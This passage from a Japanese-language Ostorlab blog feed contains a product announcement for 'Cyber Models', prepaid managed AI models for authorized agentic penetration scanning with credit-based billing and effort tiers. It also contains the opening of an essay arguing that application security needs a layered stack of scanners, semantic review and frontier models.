&lt;p&gt;ペンテスターの検証にも耐えるトレースです。&lt;/p&gt;</content><category term="Engineering"/><category term="Mobile Security"/><category term="Ostorlab"/><category term="AppSec"/><category term="Security Automation"/><category term="agentic harness"/><category term="AI Security"/></entry><entry><title>Ostorlab Cyber Modelsのご紹介</title><link href="https://blog.ostorlab.co/ja/ostorlab-cyber-models.html" rel="alternate"/><published>2026-06-23T16:00:00+02:00</published><updated>2026-10-01T10:00:00+02:00</updated><author><name>Kawtar Boumaan</name></author><id>tag:blog.ostorlab.co,2026-06-23:/ja/ostorlab-cyber-models.html</id><summary type="html">&lt;p&gt;Ostorlabは、Agentic Deep Scan向けのマネージド型・前払い制のAIインフラストラクチャ層であるCyber Modelsを提供開始しました。セキュリティチームは、承認されたプロバイダーチャネルを通じて、&lt;strong&gt;GPT-5.5 Cyber&lt;/strong&gt;や&lt;strong&gt;Opus 4.8 with Cyber Verification Program&lt;/strong&gt;などの特化型モデルをスムーズに利用できます。外部のAPIキー、プロバイダーのレート制限、分散した請求ダッシュボードを管理する必要はありません。&lt;/p&gt;</summary><content type="html">&lt;p&gt;従来のセキュリティスキャナーはパターンマッチングに優れていますが、現代の脆弱性は、より深いコンテキストを必要とする多段階のチェーンを通じて現れることが少なくありません。この課題を解決するため、Ostorlabは&lt;strong&gt;Cyber Models&lt;/strong&gt;を導入します。高度な推論を&lt;strong&gt;Agentic Deep Scan&lt;/strong&gt;に直接組み込む、マネージド型・前払い制のAIコンピューティングインフラストラクチャです。&lt;/p&gt;
&lt;p&gt;攻撃的セキュリティ用途として許可リストに登録された承認済みチャネルのもとで動作するCyber Modelsにより、エージェントは脆弱性の評価、エクスプロイト文字列の生成、攻撃経路のシミュレーションを、能力を制限されることなく実行できます。標準的なモデルが正当なペンテストのタスクを拒否する原因となる、一般消費者向けの制限的な安全性アラインメント層を取り除きます。何より、外部プロバイダーのアカウントのプロビジョニング、APIキーの管理、あるいは財務部門から緊急のSlackメッセージが届くような予期せぬインフラストラクチャの請求への対応といった運用上の負担がなくなります。セキュリティチームは対象を定義し、スキャンの深さを選択するだけで、インフラストラクチャの段取りはOstorlabに任せることができます。&lt;/p&gt;
&lt;h2 id="cyber modelsを選ぶ理由"&gt;&lt;strong&gt;Cyber Modelsを選ぶ理由&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;AI支援型のセキュリティテストは、実験段階から実際の運用ワークフローへと移行しつつあります。それによって課題が変わります。難しいのはもはや、強力なモデルを利用できるようにすることだけではありません。難しいのは、それらの使われ方を制御することです。&lt;/p&gt;
&lt;p&gt;セキュリティチームは、誰がAI支援型のスキャンを実行できるのか、どの対象がスコープに含まれるのか、各スキャンがどれだけ消費できるのか、利用状況がどこに記録されるのか、そして予期せぬインフラストラクチャコストをどう避けるのかを把握する必要があります。&lt;/p&gt;
&lt;p&gt;自社キー持ち込み（BYOK）方式の導入は柔軟性をもたらしますが、負担も生じます。チームは外部プロバイダーのアカウントをプロビジョニングし、APIキーを管理し、請求を設定し、利用状況を監視し、レート制限に対処し、プロバイダーの請求書を照合し、複数のシステムにまたがって可視性を維持しなければなりません。これでうまくいく組織もあります。しかし別の組織にとっては、すでに十分すぎるほどの難題を抱えたセキュリティプログラムに、さらにもう一つ運用上の難題が加わることになります。&lt;/p&gt;
&lt;p&gt;Cyber Modelsは、その摩擦を取り除きます。OstorlabがAIインフラストラクチャ層を管理し、セキュリティチームはスキャンのスコープ、エフォートレベル、前払いの利用量をPortalから直接制御します。&lt;/p&gt;
&lt;h3 id="主なメリット"&gt;&lt;strong&gt;主なメリット&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;外部APIキーの管理が不要&lt;/strong&gt;：スキャン環境をローカルの認証情報から切り離します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;前払いのトークンベース課金&lt;/strong&gt;：購入分は一元化されたワークスペースのウォレットに追加されます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マネージド型のモデルオーケストレーション&lt;/strong&gt;：高度なカスタムプロファイルが、標準的な商用の制限を受けずにフル能力で動作します。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;予測可能な支出管理&lt;/strong&gt;：上限予算が事前に確保され、実行の上限はスキャンのエフォートプロファイルに連動するため、財務部門も満足です。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一元化されたウォレットの監査&lt;/strong&gt;：現在の残高、台帳のエントリ、取引履歴を完全に可視化します。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="cyber modelsとbyokの比較"&gt;&lt;strong&gt;Cyber ModelsとBYOKの比較&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Agentic Deep Scanを設定する際、チームはOstorlabがAI支援型の実行をどのように振り分けるかを選択します。Cyber Modelsは、マネージド型のAIインフラストラクチャ、前払いの利用量管理、そしてOstorlab内での一元的な会計を求めるチーム向けに構築されています。BYOKは、自社のプロバイダーアカウントを通じて実行を振り分け、設定を自ら管理したいチーム向けに引き続き利用できます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;インフラストラクチャの属性&lt;/th&gt;
&lt;th style="text-align: left;"&gt;Cyber Models&lt;/th&gt;
&lt;th style="text-align: left;"&gt;BYOK&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;プロバイダーへのアクセス&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ostorlabが承認したプロバイダーチャネルを通じて管理&lt;/td&gt;
&lt;td style="text-align: left;"&gt;顧客が管理するプロバイダーアカウントを経由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モデルのオーケストレーション&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ostorlabの抽象化レイヤーが処理&lt;/td&gt;
&lt;td style="text-align: left;"&gt;顧客の設定で制御&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;モデルの設定&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;最適化されたモデルプロファイル（&lt;strong&gt;GPT-5.5 Cyber&lt;/strong&gt;、&lt;strong&gt;Opus 4.8 with Cyber Verification&lt;/strong&gt;）&lt;/td&gt;
&lt;td style="text-align: left;"&gt;クライアントが指定するプロバイダーのエンドポイント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;APIキーの管理&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;外部キーは不要&lt;/td&gt;
&lt;td style="text-align: left;"&gt;顧客がプロバイダーのAPIキーを管理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;課金モデル&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ostorlabウォレットによる前払いのコンピューティングクレジット&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プロバイダーアカウントによる直接の従量課金&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;支出管理&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;スキャンごとのクレジットの確保と精算&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プロバイダーのダッシュボードの上限と顧客が管理する上限&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;レート制限／同時実行数&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ostorlabのキャパシティ制御で管理&lt;/td&gt;
&lt;td style="text-align: left;"&gt;顧客のプロバイダーの上限に依存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;実行の制御&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;スキャンプロファイルの上限、スコープを限定した実行、クレジットの上限&lt;/td&gt;
&lt;td style="text-align: left;"&gt;顧客が管理する上限とプロバイダー側の設定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;監査可能性&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;Ostorlab内のウォレット残高、台帳ログ、取引履歴&lt;/td&gt;
&lt;td style="text-align: left;"&gt;プロバイダーと社内システムに分散&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;プロバイダーを直接制御したいチームには、BYOKがあります。インフラストラクチャの段取りなしでディープスキャンを行いたいチームには、Cyber Modelsのほうがスムーズです。&lt;/p&gt;
&lt;h2 id="cyber modelsのコンピューティングクレジットの仕組み"&gt;&lt;strong&gt;Cyber Modelsのコンピューティングクレジットの仕組み&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Cyber Modelsは、AI支援型のスキャン実行に前払いのコンピューティングクレジットを使用し、ベンダーごとに異なる煩雑な料金体系を意識せずに済むようにしています。Cyber Modelsのクレジットは、言語モデルの生の入力トークンや出力トークンではなく、&lt;strong&gt;Ostorlabが管理するコンピューティングクレジット&lt;/strong&gt;として理解してください。クレジットは、Ostorlabのインフラストラクチャ内でのマネージド型AIスキャンの実行を表すものであり、コンテキストウィンドウを直接計測したものではありません。&lt;/p&gt;
&lt;p&gt;クレジットのライフサイクルは、3つの異なる段階で進みます。&lt;/p&gt;
&lt;h3 id="1. 確保"&gt;&lt;strong&gt;1. 確保&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Agentic Deep Scanが開始されると、Ostorlabは選択されたエフォートプロファイルに対応するクレジットの上限を確保します。これにより、実行開始前に、ワークスペースに選択したスキャンの深さを完了するのに十分な残高があることが確認されます。確保によって、チームは推測や、隠れたモデル計量の計算、スプレッドシートの発掘作業なしに、予測可能な最大コストを事前に把握できます。&lt;/p&gt;
&lt;h3 id="2. スコープを限定した実行"&gt;&lt;strong&gt;2. スコープを限定した実行&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Ostorlabは、選択された対象の境界、スキャン設定、クレジットの上限に紐付けられた、スコープを限定した実行コンテキストをプロビジョニングします。スキャンは外部の認証情報を必要とせずに進行します。実行中、チームはスキャンログのビューからクレジットのリアルタイムの消費状況を直接監視できます。つまり、後になって予期せぬプロバイダーの請求書で利用量を知り、サプライズを楽しんでいるふりをするのではなく、スキャンの実行中に推論の予算がどのように消費されているかを正確に確認できます。&lt;/p&gt;
&lt;h3 id="3. 精算"&gt;&lt;strong&gt;3. 精算&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;スキャンが完了するか手動でキャンセルされると、Ostorlabは実際の利用量を計算します。ワークスペースのウォレットから差し引かれるのは、消費されたクレジットのみです。確保されたクレジットのうち未使用の分は、精算後に自動的に返却されます。これにより、チームは実行前の予測可能な最大コストと、確保したものの使われなかったキャパシティ分のクレジットの自動返却という、両方の利点を得られます。&lt;/p&gt;
&lt;h2 id="スキャンのエフォートプロファイル"&gt;&lt;strong&gt;スキャンのエフォートプロファイル&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Cyber Modelsは、Agentic Deep Scan向けに3つのエフォートプロファイルをサポートしています。各プロファイルは、推論の幅、状態の探索、仮説の評価、検証の深さを含む、エージェント型の実行ループの深さを調整します。以下の上限は、言語モデルの生のコンテキストトークンではなく、Cyber Modelsのコンピューティングクレジットの上限を表しています。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;エフォートプロファイル&lt;/th&gt;
&lt;th style="text-align: left;"&gt;トークン上限&lt;/th&gt;
&lt;th style="text-align: left;"&gt;最適な用途&lt;/th&gt;
&lt;th style="text-align: left;"&gt;実行時の挙動&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Core&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;50トークン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;優先度の高いアセットに絞ったテスト&lt;/td&gt;
&lt;td style="text-align: left;"&gt;探索を限定した、高速で確度の高い分析。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Advanced&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;200トークン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;アプリケーションとAPIのより広いカバレッジ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;確度が中程度の仮説やより深い経路にまで推論を拡大。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;Elite&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;400トークン&lt;/td&gt;
&lt;td style="text-align: left;"&gt;複雑な環境と価値の高い対象&lt;/td&gt;
&lt;td style="text-align: left;"&gt;より広範な状態探索と多段階の分析を備えた、利用可能な中で最も深い評価プロファイル。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;ウォレットの残高によって、スキャンの組み合わせが決まります。たとえば、残高が400トークンあれば、Coreスキャン8回（各50トークン）、Advancedスキャン2回（各200トークン）、またはEliteスキャン1回（400トークン）を実行できます。これにより、必要に応じて実行タイプを自由に組み合わせることができます。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月1日更新：エフォートの上限を現在のトークンコスト（Core 50、Advanced 200、Elite 400）に修正し、製品名をAgentic Deep Scanに変更しました。最新の料金については&lt;a href="https://ostorlab.co/plans"&gt;プラン&lt;/a&gt;をご覧ください。&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="運用ワークフロー"&gt;&lt;strong&gt;運用ワークフロー&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Cyber Modelsは、Ostorlab Portalから完全に管理されます。チームはプラットフォームを離れることなく、ワークスペースのウォレットへのチャージ、トークン残高の監視、取引履歴の確認、Agentic Deep Scanの開始を行えます。&lt;/p&gt;
&lt;h3 id="フェーズ1:コンピューティング残高を用意する"&gt;&lt;strong&gt;フェーズ1：コンピューティング残高を用意する&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Cyber Modelsの利用を開始するには、ワークスペースのウォレットにトークンを追加します。&lt;/p&gt;
&lt;p&gt;1. メインのダッシュボードから&lt;strong&gt;Upgrade&lt;/strong&gt;画面に移動します。&lt;br/&gt;
2. &lt;strong&gt;Cyber Models&lt;/strong&gt;タブを選択します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Cyber Modelsの選択メニュー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-23_CyberModels/select.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;3. 想定するスキャン量に合ったコンピューティングプロファイルのパックを選び、必要な数量を指定します。&lt;br/&gt;
4. Stripeで支払いを完了します。&lt;/p&gt;
&lt;p&gt;トークン残高がワークスペースのウォレットに追加されます。支払いが完了すると、その残高をCyber Modelsを利用したスキャンに使用できるようになります。&lt;/p&gt;
&lt;h3 id="フェーズ2:ウォレット残高と台帳ログを監視する"&gt;&lt;strong&gt;フェーズ2：ウォレット残高と台帳ログを監視する&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Cyber Modelsには、Ostorlab Portal内でウォレットをネイティブに可視化する機能が含まれています。チームは次の内容を確認できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;現在のトークン残高  &lt;/li&gt;
&lt;li&gt;確保済みのトークン量  &lt;/li&gt;
&lt;li&gt;完了したスキャンの消費量  &lt;/li&gt;
&lt;li&gt;確保されたものの未使用だったトークンの返却  &lt;/li&gt;
&lt;li&gt;過去の引き落としと入金の取引  &lt;/li&gt;
&lt;li&gt;時系列での利用傾向&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらの情報は、&lt;strong&gt;Token Wallet&lt;/strong&gt;と&lt;strong&gt;Transaction History&lt;/strong&gt;のコンポーネントで確認できます。  &lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Cyber Modelsのウォレット" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-23_CyberModels/wallet.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;ウォレットの台帳により、スキャンをまたいだトークン利用の明確な記録が得られ、支出の追跡、消費量の監査、今後のテストの深さの計画が容易になります。&lt;/p&gt;
&lt;h3 id="フェーズ3:cyber modelsでagentic deep scanを実行する"&gt;&lt;strong&gt;フェーズ3：Cyber ModelsでAgentic Deep Scanを実行する&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;ウォレットに残高が入ったら、スキャン設定のワークフローでCyber Modelsを選択できます。&lt;/p&gt;
&lt;p&gt;1. &lt;strong&gt;New Scan&lt;/strong&gt;ワークフローを開きます。&lt;br/&gt;
2. 対象の境界とスキャンのスコープを設定します。&lt;br/&gt;
3. &lt;strong&gt;AI Provider&lt;/strong&gt;の設定画面に進みます。&lt;br/&gt;
4. &lt;em&gt;BYOK Simple&lt;/em&gt;や&lt;em&gt;BYOK Advanced&lt;/em&gt;ではなく、&lt;strong&gt;Cyber Models&lt;/strong&gt;を選択します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Cyber Modelsのモードメニュー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-23_CyberModels/mode.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;5. &lt;strong&gt;Effort&lt;/strong&gt;のステップで、対象環境に合った深さ（&lt;strong&gt;Core&lt;/strong&gt;、&lt;strong&gt;Advanced&lt;/strong&gt;、&lt;strong&gt;Elite&lt;/strong&gt;）を選択します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Cyber Modelsのエフォートメニュー" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-06-23_CyberModels/effort.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;6. スキャンを送信します。&lt;/p&gt;
&lt;h2 id="許可されたセキュリティテストのための制御された深さ"&gt;&lt;strong&gt;許可されたセキュリティテストのための制御された深さ&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Cyber Modelsは、スコープ、実行、支出に対する制御を失うことなく、より深いAI支援型のセキュリティ分析を必要とするチームのために設計されています。各スキャンは、対象の境界、エフォートに基づくクレジットの上限、前払いのウォレットの上限、リアルタイムの利用状況の可視化、手動キャンセルのサポート、完了後の自動精算によって厳格に管理されます。&lt;/p&gt;
&lt;p&gt;セキュリティチームは、Cyber Modelsを次の用途に活用できます。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;複数のアプリケーションの振る舞いにまたがる&lt;strong&gt;連鎖した脆弱性の発見&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;API、ワークフロー、公開されたサービスにまたがる&lt;strong&gt;攻撃経路の推論&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;アプリケーション固有の悪用ケースに対する&lt;strong&gt;ビジネスロジックのテスト&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;ロール、テナント、オブジェクトの境界にまたがる&lt;strong&gt;認可のテスト&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;ログイン、アカウント復旧、セッションのフローにまたがる&lt;strong&gt;認証のエッジケース分析&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;ドキュメント化されたエンドポイントとされていないエンドポイントにまたがる&lt;strong&gt;APIの振る舞いの探索&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;承認されたスコープ内での&lt;strong&gt;多段階の脆弱性検証&lt;/strong&gt; &lt;/li&gt;
&lt;li&gt;許可された対象に対する&lt;strong&gt;敵対的シミュレーション&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;目指しているのは、制御されない自動化ではありません。目指しているのは、管理された深さです。より深い推論、範囲が限定された実行、目に見える利用状況、そして明確な会計です。チームが求める深さと、必要な制御を提供し、1回のスキャンを実行する前に5つもの異なるダッシュボードを開く理由を減らします。セキュリティにとっても、正気を保つうえでも、めったにない勝利です。&lt;/p&gt;
&lt;h2 id="cyber modelsでagentic deep scanを展開する"&gt;&lt;strong&gt;Cyber ModelsでAgentic Deep Scanを展開する&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Cyber Modelsは現在、Ostorlab Portalで利用可能です。マネージド型のCyber Modelsインフラストラクチャを通じて高度なAI支援型のセキュリティ評価を実行するには、ワークスペースの&lt;a href="https://report.ostorlab.co/dashboard/posture"&gt;&lt;strong&gt;ダッシュボード&lt;/strong&gt;&lt;/a&gt;に移動し、トークンウォレットにチャージして、次回のAgentic Deep Scanを設定する際にCyber Modelsを選択してください。&lt;/p&gt;</content><category term="Product"/><category term="Mobile Security"/><category term="Cyber Models"/><category term="Deep Agentic Scan"/></entry><entry><title>魔法の箱は存在しない：AI時代のAppSecにスタックが必要な理由</title><link href="https://blog.ostorlab.co/ja/3-layered-approach-to-security-testing.html" rel="alternate"/><published>2026-06-22T10:00:00+02:00</published><updated>2026-06-22T10:00:00+02:00</updated><author><name>Bilal HARRAS</name></author><id>tag:blog.ostorlab.co,2026-06-22:/ja/3-layered-approach-to-security-testing.html</id><summary type="html">&lt;p&gt;今日、大規模なサイバーセキュリティカンファレンスの会場を歩けば、AIを活用した自律型プラットフォームの可能性について耳にします。しかし、AIだけに頼るテストはスケールしません。レジリエントなAppSecプログラムには、高速な従来型スキャナー、プライベートなセマンティックレビュー、フロンティアモデルの選択的なオーケストレーションを組み合わせた、コストを意識した階層型のスタックが必要です。&lt;/p&gt;</summary><content type="html">&lt;p&gt;今日、大規模なサイバーセキュリティカンファレンスの会場を歩けば、同じ売り文句を何度も繰り返し耳にします。AIを活用した一つのプラットフォーム。一つのダッシュボード。一つの自律型セキュリティ頭脳。あらゆる脆弱性を見つけ、あらゆる問題を修正し、アラート疲れをなくし、開発者を満足させ、ついでに観葉植物に水までやってくれる、一つの魔法の箱。&lt;/p&gt;
&lt;p&gt;美しい物語です。しかし、アプリケーションセキュリティの実際の仕組みはそうではありません。&lt;/p&gt;
&lt;p&gt;問題は、完璧な自律型AppSecプラットフォームがまだ存在しないことだけではありません。より大きな問題は、AIだけに頼るセキュリティテストはスケールしないということです。 &lt;/p&gt;
&lt;p&gt;現代のエンジニアリングチームは、かつてないほど多くのコードを出荷しています。AI支援型の開発によってソフトウェア作成のスピードは上がりましたが、セキュリティチームは依然として、誰の作業も遅らせることなく、すべてのコミット、依存関係の更新、APIルート、クラウド設定、生成されたコードの変更をレビューすることを求められています。&lt;/p&gt;
&lt;p&gt;そこで当然生まれる誘惑が、「すべてをAIにテストさせればいい」というものです。&lt;/p&gt;
&lt;p&gt;残念ながら、そうしてクラウドの請求書がインシデントと化すのです。すべての変更に対して高価なAIモデルを実行するのは戦略ではありません。非常に洗練された予算の燃やし方にすぎません。仮にコストが問題にならなかったとしても、AIだけでは完全なカバレッジは得られません。既知の脆弱性には脆弱性データベースが必要です。依存関係のリスクにはパッケージインテリジェンスが必要です。シークレットには決定論的な検出が必要です。設定ミスにはポリシーチェックが必要です。ビジネスロジックの欠陥にはセマンティックな理解が必要です。深いエクスプロイトチェーンには攻撃者視点の推論が必要です。&lt;/p&gt;
&lt;p&gt;これらすべてをうまくこなせる単一の手法はありません。だからこそ、現代のAppSecは一つの魔法の箱に向かっているのではありません。階層型のモデルへと向かっているのです。&lt;/p&gt;
&lt;p&gt;かつての世界はおおよそ次のようなものでした。&lt;/p&gt;
&lt;p&gt;スキャナー &amp;boxh;&amp;boxh;&amp;gt; ペンテスト &amp;boxh;&amp;boxh;&amp;gt; バグバウンティ&lt;/p&gt;
&lt;p&gt;新しい世界は、むしろ次のようなものです。&lt;/p&gt;
&lt;p&gt;スキャナー &amp;boxh;&amp;boxh;&amp;gt; BYOKセマンティックレビュー &amp;boxh;&amp;boxh;&amp;gt; サイバーモデル&lt;/p&gt;
&lt;p&gt;各レイヤーにはそれぞれの役割があります。各レイヤーにはそれぞれのコスト特性があります。各レイヤーは異なる種類の問題を捉えます。目標は、あらゆる場所でAIを使うことではありません。最も安価で信頼できる手法を最初に使い、より多くのコンテキストが必要な場合にのみエスカレーションし、高価なサイバーモデルは本当に深い推論に値する問題のために取っておくことです。&lt;/p&gt;
&lt;p&gt;それが、AIコーディング時代にAppSecをスケールさせる方法です。&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="レイヤー1:スキャナーは死んでいない"&gt;レイヤー1：スキャナーは死んでいない&lt;/h3&gt;
&lt;p&gt;数か月ごとに、誰かが従来型のスキャナーは死んだと宣言します。SASTは死んだ。DASTは死んだ。正規表現は死んだ。ルールは死んだ。デモの後に都合よく手に入る新しいAIのものを除いて、すべてが死んだというわけです。&lt;/p&gt;
&lt;p&gt;これはナンセンスです。&lt;/p&gt;
&lt;p&gt;スキャナーが今なお不可欠なのは、高速で安価であり、既知の、繰り返し発生する、構造的な問題を見つけるのが非常に得意だからです。
* ハードコードされたシークレット
* 既知の脆弱な依存関係
* セキュリティヘッダーの欠如
* 安全でない関数
* 生のSQL文字列連結
* 露出したデバッグ用エンドポイント
* 設定ミス
* 既知のCVE
* &lt;strong&gt;&lt;a href="https://blog.ostorlab.co/polyglot-xss.html"&gt;Polyglot XSS&lt;/a&gt;&lt;/strong&gt;のような複雑で構造的なインジェクション攻撃文字列&lt;/p&gt;
&lt;p&gt;このレイヤーは、自社のビジネスモデル全体を理解する必要はありません。自社独自のエンタープライズ承認ワークフローについて推論する必要もありません。明白な、パターンマッチで捉えられる問題を、それが全員の問題になる前に捕まえるだけでよいのです。&lt;/p&gt;
&lt;p&gt;開発者がAPIキーをコミットした場合、アクセス制御の哲学について思索するフロンティアモデルは必要ありません。必要なのは、「それは出荷しないでください」と言ってくれるスキャナーです。依存関係に既知のクリティカルなCVEがある場合、AIにその脆弱性をゼロから再発見させる必要はありません。必要なのは、脆弱性インテリジェンス、バージョンの照合、そして修復の道筋です。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Polyglot XSS&lt;/strong&gt;のような複雑なインジェクションパターンが含まれていることが、この点を見事に証明しています。ポリグロットペイロードは、複数の実行コンテキスト（HTML、スクリプトブロック、属性）で同時に悪意のある実行が起きるよう設計された、ひねりの効いたセキュリティエンジニアリングの産物です。複雑に聞こえますが、実行の根本においては完全に構造的な欠陥です。ここで開発者の考え方を分析するために高価なLLMを使う必要はありません。精密で高速なルールベースのスキャナーであれば、コードのコミット段階でこうした構造的な異常を即座に見つけ、処理のオーバーヘッドに大金をかけることなく、エクスプロイトチェーンをその場で食い止めることができます。&lt;/p&gt;
&lt;p&gt;レイヤー1は煙探知機です。火事の全容を説明してはくれません。家がポストモーテムの対象になる前に、キッチンが燃えていることを知らせてくれるだけです。鍵となるのはチューニングです。悪いスキャナーはノイズを生みます。良いスキャナーはレバレッジを生みます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;要件&lt;/th&gt;
&lt;th style="text-align: left;"&gt;重要である理由&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;高速&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;開発者は、コードの記憶が新しいうちにフィードバックを必要としている。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;安価&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;これらのチェックは常時実行されるべきもの。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;決定論的&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;既知の問題は確実に見つけられるべき。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;対応可能&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;検出結果は、何を修正すべきかを説明すべき。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;低ノイズ&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ダッシュボードの墓場はもう誰も必要としていない。&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;レイヤー1は、高価な推論を決して必要とすべきでないものを捉えます。&lt;/p&gt;
&lt;blockquote&gt;
